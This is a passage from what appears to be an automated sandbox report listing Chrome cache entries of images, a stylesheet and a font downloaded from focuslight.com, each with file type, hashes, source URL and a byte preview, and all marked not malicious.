Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="7402px" height="1126px" viewBox="0 0 7402 1126" enable-background="new 0 0 7402 1126" xml:space="preserve"> <image id="image0" width="7402" height="1126" x="0" y="0". href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAHOoAAARmCAYAAACVRX/yAAAABGdBTUEAALGPC/xhBQAAACBjSFJN.AAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAABmJLR0QA/wD/AP+gvaeTAAAA.CXBIWXMAAC4jAAAuIwF4pT92AACAAElEQVR42uzdd7jtZ13n/c+dk5w0khwgCelAQkkIJUgJPCRw.BwKhJxAIhl4GVmAooU2A4CAgTUBBUblhYCIgWBApigyWWVhmZJ5nxu6oY3dQGaToiCgq6/lj7SOH.Q8ope5/vKq/Xda3rAJLN+3cu/9hrrd/v/rQAC631cUSSE5Mcn+TYJDdOsmOX185/f6Mk25Mck+TQ.JIdv/GcHb/yoo5O06usBYOk9fzadvKU6Arh2rY9jMv/d8WZJTsj898cT8o2/N+7I/PfEnb8/Hp3k.sMx/hwQA2B/eLwDfpPVxWJJTkxyX+XuVm23865vmGz/nPibzz7UP

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	downloaded
Size (bytes):	201531
Entropy (8bit):	7.7826713252553565
Encrypted:	false
SSDEEP:	6144:mSDLJ0QbKc7IB4MFdz5o0QjR7UMFyagDlUp56U/eONk3U:t0a970fi9tUMF/J/eONkE
MD5:	0DCE5FC2F93E243C1F0F97815FFF63EC
SHA1:	D191BFCAA65919EE6C14499DBB316A4F2B73BFAD
SHA-256:	0E2F744DECC1F48D3ED015C54DE556C11B197449DFF28FE830FA1B8507387F0E
SHA-512:	C1F7D8DDCBFAA897EC404D48D1BA33341FB6A636A56796CEEDE1D54348027B77B220A8FBD2411B71E319E3C9F71924F8BD1B6338FAACED61814C1E5538D958BA
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/03/V-groove-EN-1-scaled.jpg
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~.(....(...(...(...(...(...(...(...(...(...(...(...(...(...(.p.(...QE..QE..QE..QE..QE..QE...Rf..0.....&h..P+.h..Q`.f.4.....i.K@..(...&.-....F)h.....Z).."...KE.f.... ..1KE.&(.-...Q.Z(.1F)h......Fi..1Fh....)..h.......3E..h.;4u.i..............(...(...QE....(...(...(`.QE .(...(...(...(...(...(...(...(...(...(...(.

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x618, components 3
Category:	downloaded
Size (bytes):	259883
Entropy (8bit):	7.977046253408047
Encrypted:	false
SSDEEP:	6144:aWnfZUL+d4qg8X1UPkhuQvcOqJZMLxlzpmR8SdtF:7SDq/X1wkhuQvc3+zp+BD
MD5:	42EC51A9539962EB46956A176672D728
SHA1:	DA10575DA6DBE4BDEDCBBB74FEFA74410DDACE96
SHA-256:	655E32922A4D04A53081AFEE4F6835E4EC36C730451C30ED050EDD1062CCB6F6
SHA-512:	9A5AAD9E39027A6C82CCBAF47C61FD1FF8E40C95FB00D34249F625EE7C9029FBEE0B14E0A0660C14F0A5352333DA6833E86B551ED86144E0DC0F9BB5CE7F23AD
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/footbg.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:E57DF0050D5111ED9EF49905E4971285" xmpMM:InstanceID="xmp.iid:E57DF0040D5111ED9EF49905E4971285" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, truncated
Category:	downloaded
Size (bytes):	45
Entropy (8bit):	4.680090318263434
Encrypted:	false
SSDEEP:	3:FttZU40ZyJaujM/n:XtZH0Zv1/
MD5:	46B7F6C65BE9AA4CF7DC09B397F1A4F0
SHA1:	621B21E98FAC356F4774DB74F62D303BF07F0E69
SHA-256:	15922F6080A599DC449D7142432871D8D1548E88B31538BD1F35E45598E68932
SHA-512:	69E24EF68C07296F2B394738B18FFFB7A8A9517C0302BC35EA522A56DE34C978877819FCE389C4E07DB4A1DF584C1B4F670F36C701DCD7ECFE9F1E0454BA820B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCbNzGiy99pMuEgUNkWGVThIFDXhvEhkhFuwprIb4Ezo=?alt=proto
Preview:	..........s...v7.....wOw...M.<..l[.........

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1646
Entropy (8bit):	6.296849280863059
Encrypted:	false
SSDEEP:	48:N/6sMYL4knA9WIY8/c0rrDzrDunrD93rrD6Hnsnp69Y:NSJYkknmWIY8/tr4V6HnsnpOY
MD5:	B7A4273E64081D202F4C7AA4C9ED54CA
SHA1:	9FA38377685660A2FEEFA70F5FBC20FAA8A5C00C
SHA-256:	B575DF18F1C93B5296AD8828DE3810F697F7B233241CBC0E05A3855040F8AF66
SHA-512:	C24DD43689FE09E4220592FC791DB433B2252F17D1B3FC5FA81AC53EC9D5F0E4CC4972AEB58A8FC9B7DDCA6348D285695091F5C5E5ED75AB3920CF5BE343BCAA
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/wlicn0.png
Preview:	.PNG........IHDR..............iM.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:17:06+08:00" xmp:ModifyDate="2022-07-27T11:23:54+08:00" xmp:MetadataDate="2022-07-27T11:23:54+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:553fed5f-558f-e247-8d23-2e34fba6ce03" xmpMM:DocumentID="xmp.did:553fed5f-558f-e247-8d23-2e34fba6ce03" xmpMM:Origi

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	downloaded
Size (bytes):	302367
Entropy (8bit):	7.840993757280914
Encrypted:	false
SSDEEP:	6144:gR7Wy5pi6pKmYg9yNL+pPy4m3Rp1/+yh26VbiHpOt1yv15iG1P+GUeugM:gR7WSv4B+s4m33o626V+sG91P+GUeur
MD5:	B64086B61B05E2657BBB909EF0CBC346
SHA1:	108C28E88838F58E1F3D62FCDEF52B0C238F6859
SHA-256:	C6F124DC49793480B812CC3282B64BB53720A93761E6EEC70F2FD09AE5907D20
SHA-512:	7699EA6B9EB121937D461381BA9A572FC33A8907BB3C0EA16EA4AF74D85EE6B6EB79E8C9E1E95560CA9772DC0E3589DCF87CFCE5EF6B67FDEC32CB26CA3F6F51
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/03/Global-Optimization-EN-1-scaled.jpg
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(.P..(...(...(...(...Ph...J(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(....b.....R.f.....J(...Zm(....(.Q.1GJ.1E....(...(...(...(..,.E..@......LR.(...QE..(...(...(...Q@...%..RS...P

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 5821 x 1103, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	91763
Entropy (8bit):	7.042653366730762
Encrypted:	false
SSDEEP:	1536:xoDkKho4ygmw15EvTQYdWMdzymaCh/AzABH7JTH6PiN3JJ3+6pwIuwfVyj:ucgHevTrdWMxy42zkH7JJHFdwPwNe
MD5:	BFFAFD2D8179CCE3B4A06C5D02EFA1BB
SHA1:	74F7DE9736B4F3F714EB9460B98053BC9FC75592
SHA-256:	C1F6109A67BFA587E5AAA6E5F003A677615625CA1C10824D9408F8E804300782
SHA-512:	BBA183E4EF0F3FF18C08D2CC1135E5623C2B465362C93E4ED9B9789CAA2AE0572D7B83EB816CFD307384B59A226531F60638C5B38B2B9A23176843785D2ECC69
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/Heptagon-Logo-white.png
Preview:	.PNG........IHDR.......O............pHYs...#...#.x.?v.. .IDATx....Q[......;....P...t.RA.......T.\AD..."U..8.....%.K..K...5[..\|..m...y\|\|..........................z........................O........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.....................

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 15, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14647
Entropy (8bit):	1.544961303587712
Encrypted:	false
SSDEEP:	48://6fM+k29W8sEvWvbxN+Y9ydBCK4sc5H/7y:/ShkEWRxvbxNX5sc5jy
MD5:	E260FC9F097393A924B072D9CD78A354
SHA1:	340EB44BCD66267EB8A3C102A6324E9B9B2A3C12
SHA-256:	297D1750CC24C6D3678492FACDB4AE124ACD5A55D75D145B0D934F1E7DA76751
SHA-512:	F9E13D72923BEEF66E8CB84CDF0A8DB6819745150342235A60954126D08D63ED6E2B30F084E8763BBCFACE7CBBFC7F49D78DE20A56E273BEF64C3592682469D5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;.J....pHYs...............8$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2021-05-06T10:32:13+08:00</xmp:CreateDate>. <xmp:ModifyDate>2021-05-06T10:33:39+08:00</xmp:ModifyDate>. <xmp:M

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1962x1000, components 3
Category:	downloaded
Size (bytes):	1127113
Entropy (8bit):	7.9861804791521935
Encrypted:	false
SSDEEP:	24576:6MOixrVF1nszRqnNqotkQKTBhBIehlDi6l:/3yUnNqoKFhBBh5i6l
MD5:	3C3AFF31EE64D1122C4A2E56CD635087
SHA1:	BDFC8E3C3A7B8E9448A0B9EF64A75CC96C461A0A
SHA-256:	7DE3A1035B82C7A8B7449E56C29DC86E549035D0E90DDDEA33043D4FD326E1A8
SHA-512:	522500BA0CFB95630FF1945DB6409DA83FBADA3F2370D2FE697707CE9EC9ACB951B268533E8524CB0A9B5117E2FE21A3BE49B108A71189757EE8A04A9E52BEB8
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2024/01/%E8%BF%91%E6%9C%9F%E5%8F%82%E5%B1%95%E4%BF%A1%E6%81%AFEN.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1cf7e5b9-e2c7-9149-aa9a-a05e19af0542" xmpMM:DocumentID="xmp.did:575B156CBE5311EEB927DA8BF4CA521E" xmpMM:InstanceID="xmp.iid:575B156BBE5311EEB927DA8BF4CA521E" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d3ad26a2-b728-3a48-bdd9-49327b87db5e" stRef:documentID="adobe:docid:photoshop:9363f026-803a-9841-bb29-47b60314615d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 4685
Category:	downloaded
Size (bytes):	1274
Entropy (8bit):	7.868962875830996
Encrypted:	false
SSDEEP:	24:XzIu2H0UsZ8OoROQlDg7B+JzxrKGJWF4jxtw9KWFD9PipWhTD5eFp2FainoaZB71:XR2H07Z8HBlDU+VxeYWGUzXipmTDqint
MD5:	C7098FE02F1448DE0918C7C79BC9F304
SHA1:	F43D481B1E2DD220324E89BC55E99B097A3BE24D
SHA-256:	BB4EE53B29D2CBD47CE2B3492AFCB707DEB39CA5B7A6AA8B15B8D40694099CFA
SHA-512:	4ACB7ABD86D7B7320CAC7E202C5BD13DABC4851690F34786821B08008FAE5CD930B9B7325075D02B0B581B29E90F83156B20D6AA3C1ED985407F990AD170D458
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_css/owl.carousel.min.css
Preview:	...........Wmo.(..+.VjW.J...:i..}>...1.+....%......c...WU[{......C.....V..D.S.[j...3l..!...$l....b.Z..<?..[s!H....e.h.\|...wc.....7...X]tT;3z.O=k../tX.Q...a8.al>.....8....W_....7....!.^W.....84...S...C..d....h......1.o.:..:?u...K.80.w...RI(.93...2...4x~ac@%..... M.!....r.e ..r....-...H.qP..!.r..$...f.BAk..P)ip...S.....z*+.T{..y.7\XB4.1.....T.U.ALs.m."..-7...k...w....J.>R...g7...nu..M...D+.g.pL..D..$.{o./.q.4...N..d.8.P..kC%...:..."..'.yjL+..n....K..<...Baa`#-..g.......&.`.Pk...Wn...Gj.sZ2..:0.j..H.j..5V...oh.T.........B Q...UN...S..a...e....J...X.^..HC$...=K.e...................`.x:7..V.M...<.HX..6Ef.X..w..8.6...1.l...Otv."m..1...7.....%M..O3...%.r..64..aln...t......%.....Maes...u.=..h.9.E.5.dy..l.M.-.3..(.R...p,.SU..^.l!....N0..{.u.x.E......-..g'..e.X.o......+g.....y'...2DC.....j?6....I..Xj C.0.../..3V,.g.X.G.8......}z.....Y..w.{.>F<.<D4.<.4xv......3u.VJ.L.;.e.M..E. .GQ...52v..e.....=<.......g.....V.P.}.%...:g..K.G..h...DY..Z.......

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 49332, version 1.0
Category:	downloaded
Size (bytes):	49332
Entropy (8bit):	7.995692871414175
Encrypted:	true
SSDEEP:	1536:kLfjfpc1lERszOtcKSJ8DcbIY1gDCefHuDqjk1WGH:0jRcQszTKSeiI5DCYqEGH
MD5:	8DA3F5E87CB7420729090FF46716DC69
SHA1:	12ECF1EE63DB669913E20C42CB40ACE175E30956
SHA-256:	DD3CE5B122776CAFB7FF066336B4BE7EA1B96F748C1FF70103C9AF753F6DFF69
SHA-512:	64F10FA431C9093A8BEC027B26915083A8E409E921C12251532FF90F167AECAA7705896ECCB7608C5048C5C1F67695FA4D64818B18B39D860596FEA25A6B94C0
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/Manrope-Bold.woff2
Preview:	wOF2...............T...G........................?FFTM...v..h...6.`..v..(........$.....L..6.$.... ..n.....V[.T....nS_..";G.V=.$...+...Bt..z.fD%....8.p...d.....;.....f7I..(.s.........VQkA....g...1.n...M....c.S..]....Y...rhh...v.....3ZzMW..(r_.cs..<P.%.....PT..8.s\|.e.C..N..6....;..N.>..{...........o.u..<...O$.i..=m..nFT.......=.1{j.}... .Ru..X....&..wu^._(QFVV2.zd.u#{M.)..].G.n;;.....]..M.+.!d......RB............g..7...\|.y.........................T..[.4vm...e8K..WF.........:...........FdG......s.}.\|......(.:eL.A.9*?....+p...3.~......#.`..Q.....#......" ..0(....EeX..A...l..s..dV.B.Q..........XI..F..$Q...U7c....v.Yv.....H...Yz..O..C....J..:.hSQ.(.....Y.....u.a...Pd.[:..e....U..rQ...rf..fv.a9t...n.tH..t\|.....;p.r.c...9J.<..z..%(..<p...Oh....".......=.,%.08.0....V.0.,.....5.......r..a. ...6..{...s.'.............5..y{.......66..K..f/..E..G.......w.p.H.4.@..M.....Y.,.K)m.\.....u..'!.@..1#B.$.A.<Y...kv...h.pO.. ..?.(X.-.........P.E.DC....h.....%f

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	166173
Entropy (8bit):	7.984978829800373
Encrypted:	false
SSDEEP:	3072:2ypVm2AjJH/N6CmQ7Hf6aMRRFzoh/bLjbUmkxoAd8lhlBJCMCd3gwlAbW3wFfENu:jnmJjJH1Vm23MDFqQmkxgvf2pAbQesY
MD5:	192D9F3CB150A659C35AEAAFCE3F7FAD
SHA1:	E5FA0E25CA81F25121A437E2F74F79443D268FFF
SHA-256:	9BB662CC0362DF4FB424190DE69663F4E6F0A4AF8CE8089D67F4E076973D3874
SHA-512:	68997A5ECC0F97A1CF214C21A17D3FD21BEADCCFF690A721A6EBDB667F434986B1F703D400BD1E0290FF55C7FA3BCCDBE2F3C95F90FDA7A5BECD17CB84C0B07C
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/05/%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:1266BC9A1E6011EF8D74F4EC2FE71949" xmpMM:InstanceID="xmp.iid:1266BC991E6011EF8D74F4EC2FE71949" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b1fa230-4aae-de49-a7f8-3dec3adb4eec" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 33 x 40, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	924
Entropy (8bit):	7.678331789702061
Encrypted:	false
SSDEEP:	24:MSgJ8CUBqygKpzr0SpYt62DIY0VfnX81PTeK:TgJiRphrBUD/+a
MD5:	12508085671D2029250B047BA146F3EB
SHA1:	C09B0DCBFCA0EED9853D6927006B90A3EC621682
SHA-256:	DAF61DA5C2B5C0B29C0333EDB08B63645E9BD4351060661A890532072BE6A6D0
SHA-512:	6A58D16DF2A8D716C890BD97F2055F138B2B4469ABC0665C833C9774432AB2C88EB7AEA9B73B10A51C9578FDC5904F8EF0B42BFBF4B35F1044D03B5E7106DA0B
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/grzxicnred0.png
Preview:	.PNG........IHDR...!...(.....p....cIDATX..[..a.....Y...6.k..BH.6\8...k.+mrCq...H.I-..CD)..C+.k..:.F.......}.3._..\|..>..<.s....'...X.l.....(......'..@<............M.8.0......X..pP...F....Wv$.iw...+{..\|........H......H`.....e3.&&...S....&K..'^..GR-.....A........x.c.a.3..t9.K{L.t..%....82......Qe.....#.7p........g......a.h.P..uC..Y.]..0".\..M...^.......)..A.^..I..MW_........(b.0T...0"..7.z@....n...0.S0.R..)b..L..K.R"..+..uKO9.>..5jr......".A..{...s..T...S..=..Tg".d..^..60D.W...&..@.:l...V.es&.l".45M-\|...L.xR.G%.2a-.:.A....,..rO.bj..gt.....@@O.8..(....W..]H..E.hQ....n....>j.t....SFY..'........y$.....LW9_.9..qT... ...@..[,.F.&..aj...l~k6..\|...*t{.m..?...v..6%....._..J...w..Q..b..@.\4..M..L.X-0U.......X/)C.....'.\..=S..............9......@..u.=......@i.5...X..<.n...x.X.}..\|..>...=.Q[..`.......6..bm.Qu....u.T.N!...#0.....v.MQ.`....".....].o<.........G..Z....IEND.B`.

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	downloaded
Size (bytes):	212433
Entropy (8bit):	7.765993451695878
Encrypted:	false
SSDEEP:	6144:6+8BAjI4lZAnq8hMMKFgMuDiwY+jLZnRhLrEiatmLL7HJybnIjkLLLMJu8:6+8BR43Aq8mFi3ZIEJybn6d
MD5:	7539332C0613A3BC1E249C45F9AE4471
SHA1:	4AE708A880DDCD61353215486541C20E47DE9FFC
SHA-256:	FF37C402905B417E23A76A3DB34EB3B2529B8DBB90BA1E1EDA0C4E0199FE6CB4
SHA-512:	B3509CC552E949D0E9AE848135A6E647B6F6FA51DC9096985EC4921FBA3A899314112C601C4F3D0859DD60241E197716C0B23E510F54CF6F0169693F5A29B10E
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2025/01/2025-2-28-%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90-EN-scaled.jpg
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..n.(...(...(...(...(...(...(...(...(...(....)..:.ea-..(....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..(...)......)..ZAKV.(..La.Z(..E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.R...QE.(...(.....(.aE.P.E.P.E.R...(...QE.(..,.E.Q`.(...(....Q@..Q@..Q@..Q@..Q@..Q@..QE....(...QE.(..V...(...(...(...Q@X(.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.681040278395911
Encrypted:	false
SSDEEP:	24:wOPqnc24ro72uhwiKOuZQp/tgdXIswGGf/qT:wN4rW2owt+p//G4K
MD5:	ACCC816297DE17C5C042DFAFB5F0A5BE
SHA1:	DEE5E3612B04039E67ED74D2291D6075A70244F5
SHA-256:	3F286641DA7452C496BC2538E7B28B796A6B53877089B970C5477EF12FBB9C2D
SHA-512:	C7FB8E6A4DF1B700F4BCE8F8A070FBAC57B194421A648B72E5249FA4EEF398DCDC2F6F5359BFF981427F1A1551E84997DBB7D95EABD9F619493737EF1458F838
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...%.....0`......IDATX..M.Ma...g\|...6..);.a6VDi.L>n)..X..25;..),\|.L..R.,..\|.;.CJ"."...........5.s....>.{._..<.y...y....x....m....s+...)../......."..$`..o!.v./.....S=....`...../..8...:.^8.l.M..{..S......)U.......}0...z...2W..S..<..x....q.O.P..;.~..(....>..x..n.N........2....B....pE..].#......tJU....s+.Y,...T{10. .E@...D.6.......5dW+...awL.,e....h.(]1...p....V;...)U..%-.....$.Q.....93........&.U7........if..n.W.`M....Y....Ab..@..._..?W...._..).n/GPI.3.[.M..i.....9DfI..3Iu..C..E...;...d.....V>...zp....V7..,...Y.PVS..i<(*...N..$s....V.Z..:3...?.[..F{5D$....8)..z0.}.QS'o..../@9S^.6....~.X.Dib0..`0.^&.../..k.)U;..,.GD.L...0...~]^t.r...}..2...}.=......Vbp......umR7...~..1.....kzE,.%.,....>G..H..!"..x...X.p...Y{.X....#..\.I{.'.{<."....!.fc.......IEND.B`.

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.688091247907139
Encrypted:	false
